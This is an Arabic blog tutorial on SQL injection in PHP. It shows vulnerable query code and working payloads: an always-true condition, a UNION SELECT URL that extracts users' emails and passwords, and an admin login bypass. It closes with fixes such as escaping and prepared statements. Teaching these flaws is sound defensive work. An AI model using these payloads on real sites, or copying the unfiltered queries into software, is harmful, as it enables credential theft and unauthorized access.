A Study in PHP Vulnerabilities - SQLi

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين

اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم

اليوم درسنا عن ثغرات الحقن

#SQL Injection

 
ثغرات الحقن تعتبر اكثر الثغرات انتشارا وتعتبر ايضا خطيرة جدا لما تمتلكه من قدرة على استخراج معلومات مهمة من قاعدة البيانات والحصول على شل والوصول ايضا الى صلاحيات الروت 


نستعرض كود بسيط لكي توضح الصورة اكثر 


         <?php
          $id = $_GET['id'];
          $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
          ?>
 
الان لو تعمقنا بالكود نلقى ان المتغير id$ ماهو مفلتر والمشكلة الاكبر انه داخل في الاستعلام 
 
لنفرض اننا قمنا بكتابة 0n3 راح يصبح الطلب كالاتي 
 
SELECT name FROM members WHERE id = '0n3';

الاستعلام يقوم بالبحث عن عضو اسمه 0n3 ويعرضه لنا الان تخيل لو قمنا بالاتي 

0n3' or '1' = '1
ليصبح الاستعلام
SELECT name FROM members WHERE id = '0n3' or '1' = '1'

اللي يعطينا استعلام صحيح وراح يتنفذ في قاعدة البيانات وكلنا نعرف بان قمية الرقم 1 تساوي 1 وبما ان العملية الحسابية صحيحة راح يستعرض لنا جميع الاسماء الموجودة في قاعدة البيانات 

ناخذ كود اخر 


            $id = $_GET['itemnr'];
            require_once($home."mysqlinfo.php");
            $query = "SELECT title, type, price, bedrooms, distance, address,phone,                      comments, handle, image from Rentals where id=$id";
            $result = mysql_query($query);
            if(mysql_num_rows($result)){
            $r = mysql_fetch_array($result);
 
نفس الخطا المتغير id$ لا يوجد به اي فلترة وايضا داخل بالاستعلام يعني لو حبينا نستغل الخطا هذا من المتصفح راح يكون بالشكل التالي 
 
http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
 
وبالطريقة هذه راح يستعرض لنا الايميل والباسوورد لجميع الاعضاء 
 
#SQL Injection Login Bypass
 
ولنفرض عندنا الكود التالي 
 
            $postbruger = $_POST['username'];
            $postpass = md5($_POST['password']);
            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn              = '$postbruger' AND password = '$postpass'")
            or die("<p>" . mysql_error() . "</p>\n");
  
 
نفس الخطا ايضا المدخلات غير مفلتره اللي يمكننا من كتابة التالي 
 
  
              username : admin ' or ' 1=1
              password : sirgod
 
والاستعلام يصبح بالشكل التالي 
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1  AND password = 'sirgod'")
 
النتيجة راح تكون قبول الدخول بصلاحيات الادمن او المدير 
 
 
طريقة الترقيع 
 
فلترة جميع المدخلات 
استخدام بعض دوال الحماية مثل
 mysql_real_escape_string
 stripslashes()
 magic quotes 
 
استخدام prepare statement 



الى هنا ينتهي الدرس ولله الحمد

اذا اعجبك الدرس فاذكر الله وادع لي وان لم يعجبك انتقدني لاصبح افضل 


 
 

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb